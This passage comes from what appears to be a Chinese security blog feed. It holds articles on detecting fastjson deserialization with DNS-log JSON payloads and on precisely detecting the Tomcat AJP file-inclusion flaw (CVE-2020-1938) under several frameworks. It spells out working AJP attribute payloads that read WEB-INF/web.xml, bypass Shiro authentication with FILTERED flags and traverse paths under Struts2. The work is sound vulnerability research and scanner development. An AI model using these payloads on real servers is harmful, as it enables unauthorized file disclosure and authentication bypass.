class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//com.alibaba.fastjson.serializer.MiscCodec#deserialze</span></span><br><span class="line"><span class="keyword">public</span> <T> <span class="function">T <span class="title">deserialze</span><span class="params">(DefaultJSONParser parser, Type clazz, Object fieldName)</span> </span>{</span><br><span class="line"> JSONLexer lexer = parser.lexer;</span><br><span class="line"> String className;</span><br><span class="line"> <span class="comment">// 序列化的是InetAddress.class类,走else流程</span></span><br><span class="line"> <span class="keyword">if</span> (clazz == InetSocketAddress.class) {</span><br><span class="line"> ...</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> Object objVal;</span><br><span class="line"> <span class="keyword">if</span> (parser.resolveStatus == <span class="number">2</span>) {</span><br><span class="line"> parser.resolveStatus = <span class="number">0</span>;</span><br><span class="line"> <span class="comment">// 16 ---> ,</span></span><br><span class="line"> parser.accept(<span class="number">16</span>);</span><br><span class="line"> <span class="keyword">if</span> (lexer.token() != <span class="number">4</span>) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> JSONException(<span class="string">"syntax error"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// 字段名 ---> val</span></span><br><span class="line"> <span class="keyword">if</span> (!<span class="string">"val"</span>.equals(lexer.stringVal())) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> JSONException(<span class="string">"syntax error"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> lexer.nextToken();</span><br><span class="line"> <span class="comment">// 17 ---> :</span></span><br><span class="line"> parser.accept(<span class="number">17</span>);</span><br><span class="line"> <span class="comment">// 之后解析为对象,也就是val字段对应的值</span></span><br><span class="line"> objVal = parser.parse();</span><br><span class="line"> <span class="comment">// 13 ---> }</span></span><br><span class="line"> parser.accept(<span class="number">13</span>);</span><br><span class="line"> } </span><br><span class="line"> ....</span><br><span class="line"> <span class="comment">// 后续的流程和方法一一样了,进行类型判断</span></span><br><span class="line"> strVal = (String)objVal;</span><br><span class="line"> <span class="keyword">if</span> (strVal != <span class="keyword">null</span> && strVal.length() != <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">if</span> (clazz == UUID.class) {</span><br><span class="line"> ...</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (clazz == URI.class) {</span><br><span class="line"> ...</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (clazz == URL.class) {</span><br><span class="line"> ...</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) {</span><br><span class="line"> ...</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="comment">// 域名解析</span></span><br><span class="line"> <span class="keyword">return</span> InetAddress.getByName(strVal);</span><br><span class="line"> } <span class="keyword">catch</span> (UnknownHostException var11) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> JSONException(<span class="string">"deserialize inet adress error"</span>, var11);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> } </span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>两段合起来就得到了最终的payload。</p><h2 id="0x04-方法三-利用java-net-URL"><a href="#0x04-方法三-利用java-net-URL" class="headerlink" title="0x04 方法三:利用java.net.URL"></a>0x04 方法三:利用java.net.URL</h2><p><code>java.net.URL</code>类也在<code>IdentityHashMap</code>中,和上面一样无视<code>checkAutoType</code>检查。</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}</span><br></pre></td></tr></table></figure><p>来源于<code>@retanoj</code>和<code>@threedr3am</code>两位师傅的启发,其原理和ysoserial中的<code>URLDNS</code>这个gadget原理一样。</p><p><strong>简单来说就是向HashMap压入一个键值对时,HashMap需要获取key对象的hashcode。当key对象是一个URL对象时,在获取它的<code>hashcode</code>期间会调用<code>getHostAddress</code>方法获取host,这个过程域名会被解析。</strong></p><p><img src="/articles/2020/several-ways-to-detect-fastjson-through-dnslog/2.png" alt="URL对象hashcode的获取过程"></p><p>fastjson解析上述payload时,先反序列化出<code>URL(http://dnslog)</code>对象,然后将<code>{URL(http://dnslog):"x"}</code>解析为一个HashMap,域名被解析。</p><p><code>@retanoj</code>在<a href="https://github.com/alibaba/fastjson/issues/3077" target="_blank" rel="noopener">Issue</a>中还构造了好几个畸形的payload,虽然原理都是一样的,但还是挺有意思的,感受到了师傅对fastjson词法分析器透彻的理解。</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}</span><br><span class="line">Set[{"@type":"java.net.URL","val":"http://dnslog"}]</span><br><span class="line">Set[{"@type":"java.net.URL","val":"http://dnslog"}</span><br><span class="line">{{"@type":"java.net.URL","val":"http://dnslog"}:0</span><br></pre></td></tr></table></figure><h2 id="0x05-留一个问题"><a href="#0x05-留一个问题" class="headerlink" title="0x05 留一个问题"></a>0x05 留一个问题</h2><p>最后留个问题吧,我们都知道一般影响fastjson的gadget也会影响jackson。那么我们上面构造的payload,使用相同的原理能在jackson实现么?如果能,又该怎么构造呢?欢迎在blog留言区分享你的思考。</p><h2 id="0x06-参考文献"><a href="#0x06-参考文献" class="headerlink" title="0x06 参考文献"></a>0x06 参考文献</h2><ul><li><a href="https://github.com/alibaba/fastjson/issues/3077" target="_blank" rel="noopener">https://github.com/alibaba/fastjson/issues/3077</a></li></ul>]]></content>
<categories>
<category> 安全研究 </category>
</categories>
<tags>
<tag> fastjson </tag>
</tags>
</entry>
<entry>
<title>如何更加精确的检测Tomcat AJP文件包含漏洞(CVE-2020-1938)</title>
<link href="/articles/2020/how-to-detect-tomcat-ajp-lfi-more-accurately/"/>
<url>/articles/2020/how-to-detect-tomcat-ajp-lfi-more-accurately/</url>
<content type="html"><![CDATA[<p>通过上篇文章<a href="http://gv7.me/articles/2020/cve-2020-1938-tomcat-ajp-lfi/">《CVE-2020-1938:Tomcat AJP协议文件包含漏洞分析》</a>,我们知道这个漏洞出现在Tomcat默认的两个<code>Servlet</code>,一个是<code>DefaultServelt</code>,可以任意文件读取。第二个是<code>JspServlet</code>,可以用于文件读取和代码执行。所以我们漏洞利用的关键是让精心构造的数据包最终让这两个<code>Servlet</code>处理。但是在真实环境下的Web项目情况很复杂,会添加自定义的<code>Servlet</code>和<code>Filter</code>,使用各种框架和组件。它们的<code>Servlet</code>和<code>Filter</code>匹配规则会影响我们构造的数据包处理流向,导致我们无法检查成功。本文我们会针对常见的5种情况进行分析并一一解决!</p><h2 id="0x01-知识储备"><a href="#0x01-知识储备" class="headerlink" title="0x01 知识储备"></a>0x01 知识储备</h2><p>在分析前我们需要对Tomcat匹配规则优先级有一个了解,匹配的优先级如下,优先级从上到下:</p><ol><li>精确匹配(例如:<code>/admin/index.html</code>)</li><li>路径匹配 (例如:/*)</li><li>拓展名匹配 (例如:<code>*.jsp</code>,<code>*.jspx</code>)</li><li>缺省匹配 (比如:<code>/</code>)</li></ol><p>具体的匹配细节可以查看Tomcat源码<code>org.apache.catalina.mapper.Mapper#internalMapWrapper()</code></p><h2 id="0x02-情况一:原生Servlet环境下"><a href="#0x02-情况一:原生Servlet环境下" class="headerlink" title="0x02 情况一:原生Servlet环境下"></a>0x02 情况一:原生Servlet环境下</h2><p>Tomcat下存在多个默认的web项目,由于它们没有使用任何框架,所以借助它们来检查再好不过了。</p><ul><li>docs</li><li>examples</li><li>host-manager</li><li>manager</li></ul><p>当没有默认的web项目,我们只能检查<code>ROOT</code>下的项目了。在使用原生Servlet开发的web应用中,我们要考虑的是开发人员自定义<code>filter</code>和自定义<code>servlet</code>对漏洞影响。</p><p>按照开发经验,一般过滤器是不会过滤<code>.js</code>,<code>.css</code>,<code>.ico</code>等静态文件后缀的url,同时自定义的Servlet也不会去处理这些url。所以我们可以构造类似如下请求来绕过它们带来的影响。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">RequestUri:/facvon.ico</span><br><span class="line">javax.servlet.include.request_uri: /</span><br><span class="line">javax.servlet.include.path_info: WEB-INF/web.xml</span><br><span class="line">javax.servlet.include.servlet_path: /</span><br></pre></td></tr></table></figure><h2 id="0x03-情况二:Sping-mvc环境下"><a href="#0x03-情况二:Sping-mvc环境下" class="headerlink" title="0x03 情况二:Sping mvc环境下"></a>0x03 情况二:Sping mvc环境下</h2><p>Spring MVC的经典配置如下:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">servlet</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-name</span>></span>DispatcherServlet<span class="tag"></<span class="name">servlet-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-class</span>></span>org.springframework.web.servlet.DispatcherServlet<span class="tag"></<span class="name">servlet-class</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">init-param</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">param-name</span>></span>contextConfigLocation<span class="tag"></<span class="name">param-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">param-value</span>></span>classpath*:spring-mvc-config.xml<span class="tag"></<span class="name">param-value</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">init-param</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">load-on-startup</span>></span>1<span class="tag"></<span class="name">load-on-startup</span>></span></span><br><span class="line"><span class="tag"></<span class="name">servlet</span>></span></span><br><span class="line"><span class="tag"><<span class="name">servlet-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-name</span>></span>DispatcherServlet<span class="tag"></<span class="name">servlet-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">url-pattern</span>></span>/<span class="tag"></<span class="name">url-pattern</span>></span></span><br><span class="line"><span class="tag"></<span class="name">servlet-mapping</span>></span></span><br></pre></td></tr></table></figure><p>虽然覆盖掉了<code>DefaultServlet</code>的匹配路径,但是<code>*.jsp,*.jspx</code>依然会交给<code>JspServlet</code>处理,所以我们可以构造如下请求让JspServlet来触发漏洞。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">RequestUri:/index.jsp</span><br><span class="line">javax.servlet.include.request_uri: /</span><br><span class="line">javax.servlet.include.path_info: WEB-INF/web.xml</span><br><span class="line">javax.servlet.include.servlet_path: /</span><br></pre></td></tr></table></figure><p>这里顺便回答下上一篇文章提的问题</p><p><strong>问题:如果已经知道某个contoller使用的是jsp为视图模版来渲染数据,我们能否通过它来触发漏洞?</strong></p><p>答:其实是不可以的。因为spring mvc会将模版渲染后,交给JspServlet去处理之前,会调用<code>org.apache.catalina.core.ApplicationDispatcher#doInclude</code>方法对3个include属性进行重新赋值,也就是把我们之前设置的值覆盖掉了不再可控!</p><p><img src="/articles/2020/how-to-detect-tomcat-ajp-lfi-more-accurately/1.png" alt="doInclude方法覆盖3个include属性"></p><h2 id="0x04-情况三:Spring-boot环境下"><a href="#0x04-情况三:Spring-boot环境下" class="headerlink" title="0x04 情况三:Spring boot环境下"></a>0x04 情况三:Spring boot环境下</h2><p>Srping boot结合Tomcat来部署有两种方式,分别是<code>外置</code>和<code>内嵌</code>。</p><h4 id="5-1-内嵌Tomcat"><a href="#5-1-内嵌Tomcat" class="headerlink" title="5.1 内嵌Tomcat"></a>5.1 内嵌Tomcat</h4><p>我们先来说内嵌,它是默认的部署方式。顾名思义就是spring boot内部代码来调用Tomcat提供Web服务。这种方式默认AJP是不开启的。</p><p>若开启AJP,<code>DefaultServlet</code>的匹配路径也会将<code>org.springframework.web.servlet.DispatcherServlet</code>覆盖,而<code>JspServlet</code>这个是没有被注册的,因为该类在<code>jasper.jar</code>中,Spring boot默认的依赖中没有。</p><p>这里值得一提的是有一种情况是可以触发漏洞的,当Spring boot需要以JSP为视图模版时,jasper.jar需要被引入。通过调试Spring boot发现会自动注册一个将<code>*.jsp</code>和<code>*.jspx</code>给<code>Jspservlet</code>的处理的<code>mapper</code>,具体参考以下两处源码。</p><p>org.springframework.boot.web.embedded.tomcat.TomcatServletWebServerFactory#prepareContext<br><img src="/articles/2020/how-to-detect-tomcat-ajp-lfi-more-accurately/2.png" alt="添加JspServlet"></p><p>org.springframework.boot.web.servlet.server.AbstractServletWebServerFactory#shouldRegisterJspServlet<br><img src="/articles/2020/how-to-detect-tomcat-ajp-lfi-more-accurately/3.png" alt="判断JspServlet类是否加载进来了"></p><h4 id="5-2-外置Tomcat"><a href="#5-2-外置Tomcat" class="headerlink" title="5.2 外置Tomcat"></a>5.2 外置Tomcat</h4><p>外置就是把<code>SpringBoot</code>项目打成war,部署到tomcat的webapps目录下。这种情况下的检测和Spirng MVC情况一样。</p><p>所以综合来看,内置情况下只有配置开启了<code>AJP</code>并引入了<code>jasper.jar</code>才可以被利用,这种情况较少。外置情况下可以直接利用,这种情况也较少。所以我认为Spring boot出现该漏洞的可能性不大。</p><h2 id="0x05-情况四:shiro环境下"><a href="#0x05-情况四:shiro环境下" class="headerlink" title="0x05 情况四:shiro环境下"></a>0x05 情况四:shiro环境下</h2><p>经典配置下shiro过滤器会对所有路径进行过滤,对url的访问权限有如下5个属性。</p><ul><li>anon: 无需认证即可访问</li><li>authc: 需要认证才可访问</li><li>user: 点击“记住我”功能可访问</li><li>perms: 拥有权限才可以访问</li><li>role: 拥有某个角色权限才能访问</li></ul><p>假设配置如下,在未登录情况下只能访问被配置为<code>anon</code>权限的<code>login.jsp</code>,访问其他链接都会302跳转至登录页面。所以只能请求这个页面来触发漏洞。</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"shiroFilter"</span> <span class="attr">class</span>=<span class="string">"org.apache.shiro.spring.web.ShiroFilterFactoryBean"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"securityManager"</span> <span class="attr">ref</span>=<span class="string">"securityManager"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"loginUrl"</span> <span class="attr">value</span>=<span class="string">"/login"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"unauthorizedUrl"</span> <span class="attr">value</span>=<span class="string">"/refuse.html"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"filterChainDefinitions"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span>></span></span><br><span class="line"> /logout = logout</span><br><span class="line"> /login.jsp = anon</span><br><span class="line"> /** = authc</span><br><span class="line"> <span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">property</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"successUrl"</span> <span class="attr">value</span>=<span class="string">"/index"</span>/></span></span><br><span class="line"><span class="tag"></<span class="name">bean</span>></span></span><br></pre></td></tr></table></figure><p>但我们在自动化中如何发现被配置为<code>anon</code>权限的URL呢?实验室的<code>@背影</code>师傅给了一条很重要的提示,可以通过该漏洞设置request对象属性<code>shiroFilter: 1</code>来“关闭”shiro的拦截功能。</p><p>如果<code>request</code>对象的属性名<code>alreadyFilteredAttributeName</code>的值不为空,那么将直接交给<code>Tomcat</code>的<code>servlet</code>处理,相当于关闭了<code>shiro</code>的拦截!</p><p><img src="/articles/2020/how-to-detect-tomcat-ajp-lfi-more-accurately/4.png" alt="判断是否已经过滤"></p><p>alreadyFilteredAttributeName变量等于<code>shiro过滤器名</code> + <code>.FILTERED</code>。</p><p>通过查看代码发现<code>shiroFilter</code>其实是<code>web.xml</code>设置的<code>shiro</code>过滤器名,这是由开发人员自定义的,故带来了新的问题。若不知道<code>shiro</code>过滤器名怎么办呢?</p><p><img src="/articles/2020/how-to-detect-tomcat-ajp-lfi-more-accurately/5.png" alt="已过滤属性名"></p><p>通过调试<code>shiro</code>,发现请求会被上面说的5种权限过滤器,依次匹配并处理。最重要的是它们的名字固定!于是按照同样的方法,都给它们设置上已过滤flag,即可绕过shiro的限制。具体请求构造如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">RequestUri:/test.jsp</span><br><span class="line">javax.servlet.include.request_uri: /</span><br><span class="line">javax.servlet.include.path_info: WEB-INF/web.xml</span><br><span class="line">javax.servlet.include.servlet_path: /</span><br><span class="line">authc.FILTERED: 1</span><br><span class="line">user.FILTERED: 1</span><br><span class="line">perms.FILTERED: 1</span><br><span class="line">role.FILTERED: 1</span><br></pre></td></tr></table></figure><h2 id="0x06-情况五:Struts2环境下"><a href="#0x06-情况五:Struts2环境下" class="headerlink" title="0x06 情况五:Struts2环境下"></a>0x06 情况五:Struts2环境下</h2><p>以下分析的是Struts2 2.5.22</p><p>使用Struts2框架一般需要设置如下的全局过滤器</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">filter</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">filter-name</span>></span>struts2<span class="tag"></<span class="name">filter-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">filter-class</span>></span>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter<span class="tag"></<span class="name">filter-class</span>></span></span><br><span class="line"><span class="tag"></<span class="name">filter</span>></span></span><br><span class="line"><span class="tag"><<span class="name">filter-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">filter-name</span>></span>struts2<span class="tag"></<span class="name">filter-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">url-pattern</span>></span>/*<span class="tag"></<span class="name">url-pattern</span>></span></span><br><span class="line"><span class="tag"></<span class="name">filter-mapping</span>></span></span><br></pre></td></tr></table></figure><p>该过滤器默认会将后缀为<code>空</code>和<code>.action</code>的URL请求,交给<code>Struts2</code>的<code>Action</code>处理,而其他后缀就交给Tomcat默认Servlet处理,漏洞利用需要让其走后者。</p><p><img src="/articles/2020/how-to-detect-tomcat-ajp-lfi-more-accurately/6.png" alt="通过URL获取mapping对象,决定后续处理流程"></p><p>然而在请求路径的获取上Struts2有别于其他环境,这是导致漏洞利用方式稍有不同。它通过<code>request</code>对象的<code>javax.servlet.include.servlet_path</code>属性获取,而不是<code>request.getServletPath()</code>。</p><p>org.apache.struts2.dispatcher.mapper.DefaultActionMapper#getUri()</p><p><img src="/articles/2020/how-to-detect-tomcat-ajp-lfi-more-accurately/7.png" alt="Struts2请求的Servlet路径是由javax.servlet.include.servlet_path属性决定"></p><p>所以我们在这里必须设置该属性值为非空非<code>.action</code>的后缀<code>test.jsp</code>,才能让Tomcat的<code>JspServlet</code>来处理。但是如果我们还是使用原来的方式读<code>/WEB-INF/web.xml</code>是行不通的,因为最终构造的路径如下是错误的。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">= javax.servlet.include.servlet_path + javax.servlet.include.path_info</span><br><span class="line">= /test.jsp + '/WEB-INF/web.xml'</span><br><span class="line">= /test.jsp/WEB-INF/web.xml (路径错误)</span><br></pre></td></tr></table></figure><p>那我们能否将<code>javax.servlet.include.path_info</code>设置为<code>/../WEB-INF/web.xml</code>来吃掉<code>1.jsp</code>形成正确路径呢?答案是可以的!可能看过我之前漏洞分析文章的朋友会说,不是说路径里不能使用<code>../</code>进行跳目录么?其实是可以跳目录,只是不能跳出<code>webapps</code>而已。这里重新说明下路径校验函数<code>normalized()</code>的功能。</p><p><img src="/articles/2020/how-to-detect-tomcat-ajp-lfi-more-accurately/8.png" alt="normalized方法中和./和../的处理流程"></p><p>该方法的功能是中和掉路径中的<code>./</code>和<code>../</code>,比如<code>/a/.//b/../c</code>就会被中和为<code>/a/c</code>。如果最后依然存在<code>../</code>在开头,才会返回<code>null</code>,最终抛出非法路径的异常。</p><p>所以在<code>Struts2</code>框架下检测该漏洞,需要构造如下请求来绕过。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">RequestUri: /</span><br><span class="line">javax.servlet.include.request_uri: /</span><br><span class="line">javax.servlet.include.path_info: /../WEB-INF/web.xml</span><br><span class="line">javax.servlet.include.servlet_path: /1.jsp</span><br></pre></td></tr></table></figure><h2 id="0x07-扫描演示"><a href="#0x07-扫描演示" class="headerlink" title="0x07 扫描演示"></a>0x07 扫描演示</h2><p>最后便可以将以上各个场景的特点综合起来,编写扫描工具了。这里我搭建了SpringMVC + Shiro的环境进行演示。可以发现其他的url都重定向了,只有针对shiro构造的请求是200,并成功触发漏洞!</p><p><img src="/articles/2020/how-to-detect-tomcat-ajp-lfi-more-accurately/9.png" alt="扫描演示"></p><h2 id="0x08-最后的话"><a href="#0x08-最后的话" class="headerlink" title="0x08 最后的话"></a>0x08 最后的话</h2><ol><li>本文只对每种环境较新版本进行分析,所以提供的扫描方案不可能适配所有版本环境,算是对精确检测做一个抛砖引玉。</li><li>每种环境下的检测方案,只考虑使用Tomcat默认存在缺陷的两个Servlet(<code>JspServlet</code>和<code>DefaultServlet</code>)来检测,更完美的方案应该是去找每种环境下其他存在缺陷的Servlet。</li></ol>]]></content>
<categories>
<category> 安全开发 </category>
</categories>
<tags>
<tag> Tomcat </tag>
</tags>
</entry>
<entry>
<title>CVE-2020-1938:Tomcat AJP协议文件包含漏洞分析</title>
<link href="/articles/2020/cve-2020-1938-tomcat-ajp-lfi/"/>
<url>/articles/2020/cve-2020-1938-tomcat-ajp-lfi/</url>
<content type="html"><![CDATA[<h2 id="0x01-漏洞简介"><a href="#0x01-漏洞简介" class="headerlink" title="0x01 漏洞简介"></a>0x01 漏洞简介</h2><p>Tomcat根据默认配置(<code>conf/server.xml</code>)启动两个连接器。一个是<code>HTTP Connector</code>默认监听<code>8080</code>端口处理HTTP请求,一个<code>AJP connector</code>默认<code>8009</code>端口处理AJP请求。Tomcat处理两个协议请求区别并不大,AJP协议相当于HTTP协议的二进制优化版。</p><p><img src="/articles/2020/cve-2020-1938-tomcat-ajp-lfi/7F9C15E2-870C-45ED-914E-61663896B504.png" alt="tomcat默认配置两个连接器"></p><p><strong>本次漏洞出现在通过设置AJP请求属性,可控制AJP连接器封装的request对象的属性,最终导致文件包含可以任意文件读取和代码执行。</strong> 下面我们以<code>Tomcat 8.5.47</code>来具体分析。</p><h2 id="0x02-漏洞分析"><a href="#0x02-漏洞分析" class="headerlink" title="0x02 漏洞分析"></a>0x02 漏洞分析</h2><p>当我们向Tomcat发送AJP请求时,请求会被<code>org.apache.coyote.ajp.AjpProcessor</code>,<code>AjpProcessor</code>调用<code>prepareRequest</code>方法读取AJP请求中的信息来设置request属性。</p><p><img src="/articles/2020/cve-2020-1938-tomcat-ajp-lfi/61F07938-9006-4490-AC56-738540E76D23.png" alt="对request对象属性进行设置"></p><p>由于没有任何过滤,我们可以给<code>request</code>设置任何属性和值。本次漏洞与如下三个属性有关,为了方便后续描述统一简称为“<code>三个include属性</code>”。</p><ul><li>javax.servlet.include.request_uri</li><li>javax.servlet.include.path_info</li><li>javax.servlet.include.servlet_path</li></ul><p>最终会将封装好的<code>request</code>丢给<code>Servlet</code>容器<code>Catalina</code>处理,之后就和HTTP消息的处理一样,按照Servlet映射走。</p><h4 id="2-1-任意文件读取"><a href="#2-1-任意文件读取" class="headerlink" title="2.1 任意文件读取"></a>2.1 任意文件读取</h4><p>任意文件读取问题出现在<code>org.apache.catalina.servlets.DefaultServlet</code>这个Servlet。现在假设我们发出一个请求内容如下的AJP请求</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">RequestUri:/docs/test.jpg</span><br><span class="line">javax.servlet.include.request_uri: /</span><br><span class="line">javax.servlet.include.path_info: WEB-INF/web.xml</span><br><span class="line">javax.servlet.include.servlet_path: /</span><br></pre></td></tr></table></figure><p>通过查看servlet映射规则(<code>conf/web.xml</code>)知道,请求会走默认的<code>DefaultServlet</code>。</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">...</span><br><span class="line"><span class="tag"><<span class="name">servlet</span>></span></span><br><span class="line"><span class="tag"><<span class="name">servlet-name</span>></span>default<span class="tag"></<span class="name">servlet-name</span>></span></span><br><span class="line"><span class="tag"><<span class="name">servlet-class</span>></span>org.apache.catalina.servlets.DefaultServlet<span class="tag"></<span class="name">servlet-class</span>></span></span><br><span class="line"><span class="tag"><<span class="name">init-param</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">param-name</span>></span>debug<span class="tag"></<span class="name">param-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">param-value</span>></span>0<span class="tag"></<span class="name">param-value</span>></span></span><br><span class="line"><span class="tag"></<span class="name">init-param</span>></span></span><br><span class="line"><span class="tag"><<span class="name">init-param</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">param-name</span>></span>listings<span class="tag"></<span class="name">param-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">param-value</span>></span>false<span class="tag"></<span class="name">param-value</span>></span></span><br><span class="line"><span class="tag"></<span class="name">init-param</span>></span></span><br><span class="line"><span class="tag"><<span class="name">load-on-startup</span>></span>1<span class="tag"></<span class="name">load-on-startup</span>></span></span><br><span class="line"><span class="tag"></<span class="name">servlet</span>></span></span><br><span class="line">...</span><br><span class="line"><span class="comment"><!-- The mapping for the default servlet --></span></span><br><span class="line"><span class="tag"><<span class="name">servlet-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-name</span>></span>default<span class="tag"></<span class="name">servlet-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">url-pattern</span>></span>/<span class="tag"></<span class="name">url-pattern</span>></span></span><br><span class="line"><span class="tag"></<span class="name">servlet-mapping</span>></span></span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>会交给<code>org.apache.catalina.servlets.DefaultServlet</code>的<code>doGet</code>方法处理。<code>doGet</code>会调用<code>ServeResource</code>方法进行具体的资源读取操作。首先它会调用 <code>getRelativePath</code>方法获取要读取资源的相对路径,这里注意它是本次任意读取漏洞的关键,我们先往下看后续再细说它。通过<code>getResources</code>方法就可以获取到了对应路径的Web资源对象了。</p><p><img src="/articles/2020/cve-2020-1938-tomcat-ajp-lfi/443FAD03-C388-4EC9-BB1C-90FA1AA30396.png" alt="ServeResource文件读取操作"></p><p>最后资源对象的内容随着<code>resourceBody</code>被写入了<code>ostream</code>流对象中返回给客户端。</p><p><img src="/articles/2020/cve-2020-1938-tomcat-ajp-lfi/41165822-5864-456D-82D2-F537D3BEA2DB.png" alt="资源对象内容被写入ostream"></p><p>接下来我们来看漏洞真正核心,<code>org.apache.catalina.servlets.DefaultServlet</code>类的<code>getRelativePath()</code>,它负责获取资源的相对路径。由于我们AJP请求设置<code>javax.servlet.include.request_uri</code>属性值为<code>/</code>不为<code>null</code>。故资源<br>的相对路径构造如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">= javax.servlet.include.path_info + javax.servlet.include.path_info</span><br><span class="line">= / + WEB-INF/web.xml</span><br><span class="line">= /WEB-INF/web.xml</span><br></pre></td></tr></table></figure><p><img src="/articles/2020/cve-2020-1938-tomcat-ajp-lfi/getRelativePath.png" 